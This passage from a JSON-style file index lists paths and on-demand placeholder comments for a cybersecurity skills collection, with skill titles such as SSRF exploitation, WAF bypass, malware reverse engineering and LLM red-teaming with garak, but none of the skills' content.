/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-inspection-configuration%2Freferences%2Fapi-reference.md -->","skills/performing-ssl-tls-security-assessment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2FSKILL.md -->","skills/performing-ssl-tls-security-assessment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssl-tls-security-assessment%2Freferences%2Fapi-reference.md -->","skills/performing-ssrf-vulnerability-exploitation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2FSKILL.md -->","skills/performing-ssrf-vulnerability-exploitation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-ssrf-vulnerability-exploitation%2Freferences%2Fapi-reference.md -->","skills/performing-static-malware-analysis-with-pe-studio/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2FSKILL.md -->","skills/performing-static-malware-analysis-with-pe-studio/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-static-malware-analysis-with-pe-studio%2Freferences%2Fapi-reference.md -->","skills/performing-steganography-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2FSKILL.md -->","skills/performing-steganography-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-steganography-detection%2Freferences%2Fapi-reference.md -->","skills/performing-subdomain-enumeration-with-subfinder/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2FSKILL.md -->","skills/performing-subdomain-enumeration-with-subfinder/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Fassets%2Ftemplate.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fapi-reference.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fstandards.md -->","skills/performing-subdomain-enumeration-with-subfinder/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-subdomain-enumeration-with-subfinder%2Freferences%2Fworkflows.md -->","skills/performing-supply-chain-attack-simulation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2FSKILL.md -->","skills/performing-supply-chain-attack-simulation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-supply-chain-attack-simulation%2Freferences%2Fapi-reference.md -->","skills/performing-thick-client-application-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2FSKILL.md -->","skills/performing-thick-client-application-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-thick-client-application-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-thick-client-application-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-thick-client-application-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-thick-client-application-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-threat-emulation-with-atomic-red-team/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2FSKILL.md -->","skills/performing-threat-emulation-with-atomic-red-team/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-emulation-with-atomic-red-team%2Freferences%2Fapi-reference.md -->","skills/performing-threat-hunting-with-elastic-siem/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2FSKILL.md -->","skills/performing-threat-hunting-with-elastic-siem/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-elastic-siem%2Freferences%2Fapi-reference.md -->","skills/performing-threat-hunting-with-yara-rules/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2FSKILL.md -->","skills/performing-threat-hunting-with-yara-rules/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-hunting-with-yara-rules%2Freferences%2Fapi-reference.md -->","skills/performing-threat-intelligence-sharing-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2FSKILL.md -->","skills/performing-threat-intelligence-sharing-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-intelligence-sharing-with-misp%2Freferences%2Fapi-reference.md -->","skills/performing-threat-landscape-assessment-for-sector/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2FSKILL.md -->","skills/performing-threat-landscape-assessment-for-sector/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-landscape-assessment-for-sector%2Freferences%2Fapi-reference.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2FSKILL.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Fassets%2Ftemplate.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fapi-reference.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fstandards.md -->","skills/performing-threat-modeling-with-owasp-threat-dragon/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2Freferences%2Fworkflows.md -->","skills/performing-timeline-reconstruction-with-plaso/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2FSKILL.md -->","skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2Freferences%2Fapi-reference.md -->","skills/performing-user-behavior-analytics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2FSKILL.md -->","skills/performing-user-behavior-analytics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2Freferences%2Fapi-reference.md -->","skills/performing-vlan-hopping-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2FSKILL.md -->","skills/performing-vlan-hopping-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2Freferences%2Fapi-reference.md -->","skills/performing-vulnerability-scanning-with-nessus/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2FSKILL.md -->","skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-firewall-bypass/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2FSKILL.md -->","skills/performing-web-application-firewall-bypass/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2FSKILL.md -->","skills/performing-web-application-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-scanning-with-nikto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2FSKILL.md -->","skills/performing-web-application-scanning-with-nikto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Fassets%2Ftemplate.md -->","skills/performing-web-application-scanning-with-nikto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-scanning-with-nikto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fstandards.md -->","skills/performing-web-application-scanning-with-nikto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fworkflows.md -->","skills/performing-web-application-vulnerability-triage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2FSKILL.md -->","skills/performing-web-application-vulnerability-triage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fapi-reference.md -->","skills/performing-web-application-vulnerability-triage/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fstandards.md -->","skills/performing-web-application-vulnerability-triage/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fworkflows.md -->","skills/performing-web-cache-deception-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2FSKILL.md -->","skills/performing-web-cache-deception-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2Freferences%2Fapi-reference.md -->","skills/performing-web-cache-poisoning-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2FSKILL.md -->","skills/performing-web-cache-poisoning-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2Freferences%2Fapi-reference.md -->","skills/performing-wifi-password-cracking-with-aircrack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2FSKILL.md -->","skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2Freferences%2Fapi-reference.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2FSKILL.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Fassets%2Ftemplate.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fworkflows.md -->","skills/performing-wireless-network-penetration-test/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2FSKILL.md -->","skills/performing-wireless-network-penetration-test/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Fassets%2Ftemplate.md -->","skills/performing-wireless-network-penetration-test/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","skills/performing-wireless-network-penetration-test/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fstandards.md -->","skills/performing-wireless-network-penetration-test/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fworkflows.md -->","skills/performing-wireless-security-assessment-with-kismet/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2FSKILL.md -->","skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2Freferences%2Fapi-reference.md -->","skills/performing-yara-rule-development-for-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2FSKILL.md -->","skills/performing-yara-rule-development-for-detection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Fassets%2Ftemplate.md -->","skills/performing-yara-rule-development-for-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fapi-reference.md -->","skills/performing-yara-rule-development-for-detection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fstandards.md -->","skills/performing-yara-rule-development-for-detection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-yara-rule-development-for-detection%2Freferences%2Fworkflows.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2FSKILL.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fapi-reference.md -->","skills/post-exploiting-microsoft-graph-with-graphrunner/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fpost-exploiting-microsoft-graph-with-graphrunner%2Freferences%2Fstandards.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2FSKILL.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Fassets%2Ftemplate.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fapi-reference.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fstandards.md -->","skills/prioritizing-vulnerabilities-with-cvss-scoring/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprioritizing-vulnerabilities-with-cvss-scoring%2Freferences%2Fworkflows.md -->","skills/processing-stix-taxii-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2FSKILL.md -->","skills/processing-stix-taxii-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprocessing-stix-taxii-feeds%2Freferences%2Fapi-reference.md -->","skills/profiling-threat-actor-groups/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2FSKILL.md -->","skills/profiling-threat-actor-groups/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fprofiling-threat-actor-groups%2Freferences%2Fapi-reference.md -->","skills/recovering-deleted-files-with-photorec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2FSKILL.md -->","skills/recovering-deleted-files-with-photorec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-deleted-files-with-photorec%2Freferences%2Fapi-reference.md -->","skills/recovering-from-ransomware-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2FSKILL.md -->","skills/recovering-from-ransomware-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fapi-reference.md -->","skills/recovering-from-ransomware-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fstandards.md -->","skills/recovering-from-ransomware-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frecovering-from-ransomware-attack%2Freferences%2Fworkflows.md -->","skills/red-teaming-llms-with-garak/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2FSKILL.md -->","skills/red-teaming-llms-with-garak/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fapi-reference.md -->","skills/red-teaming-llms-with-garak/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fred-teaming-llms-with-garak%2Freferences%2Fstandards.md -->","skills/relaying-ntlm-for-adcs-esc8/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2FSKILL.md -->","skills/relaying-ntlm-for-adcs-esc8/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fapi-reference.md -->","skills/relaying-ntlm-for-adcs-esc8/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Frelaying-ntlm-for-adcs-esc8%2Freferences%2Fstandards.md -->","skills/remediating-s3-bucket-misconfiguration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2FSKILL.md -->","skills/remediating-s3-bucket-misconfiguration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fremediating-s3-bucket-misconfiguration%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-android-malware-with-jadx/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2FSKILL.md -->","skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-android-malware-with-jadx%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-dotnet-malware-with-dnspy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2FSKILL.md -->","skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-dotnet-malware-with-dnspy%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ios-app-with-frida/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2FSKILL.md -->","skills/reverse-engineering-ios-app-with-frida/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-ios-app-with-frida/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ios-app-with-frida/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fstandards.md -->","skills/reverse-engineering-ios-app-with-frida/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ios-app-with-frida%2Freferences%2Fworkflows.md -->","skills/reverse-engineering-malware-with-ghidra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2FSKILL.md -->","skills/reverse-engineering-malware-with-ghidra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-malware-with-ghidra%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ransomware-encryption-routine/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2FSKILL.md -->","skills/reverse-engineering-ransomware-encryption-routine/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fstandards.md -->","skills/reverse-engineering-ransomware-encryption-routine/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-ransomware-encryption-routine%2Freferences%2Fworkflows.md -->","skills/reverse-engineering-rust-malware/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2FSKILL.md -->","skills/reverse-engineering-rust-malware/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Fassets%2Ftemplate.md -->","skills/reverse-engineering-rust-malware/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fapi-reference.md -->","skills/reverse-engineering-rust-malware/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fstandards.md -->","skills/reverse-engineering-rust-malware/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Freverse-engineering-rust-malware%2Freferences%2Fworkflows.md -->","skills/scanning-container-images-with-grype/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2FSKILL.md -->","skills/scanning-container-images-with-grype/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Fassets%2Ftemplate.md -->","skills/scanning-container-images-with-grype/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fapi-reference.md -->","skills/scanning-container-images-with-grype/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fstandards.md -->","skills/scanning-container-images-with-grype/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fscanning-container-images-with-grype%2Freferences%2Fworkflows.md 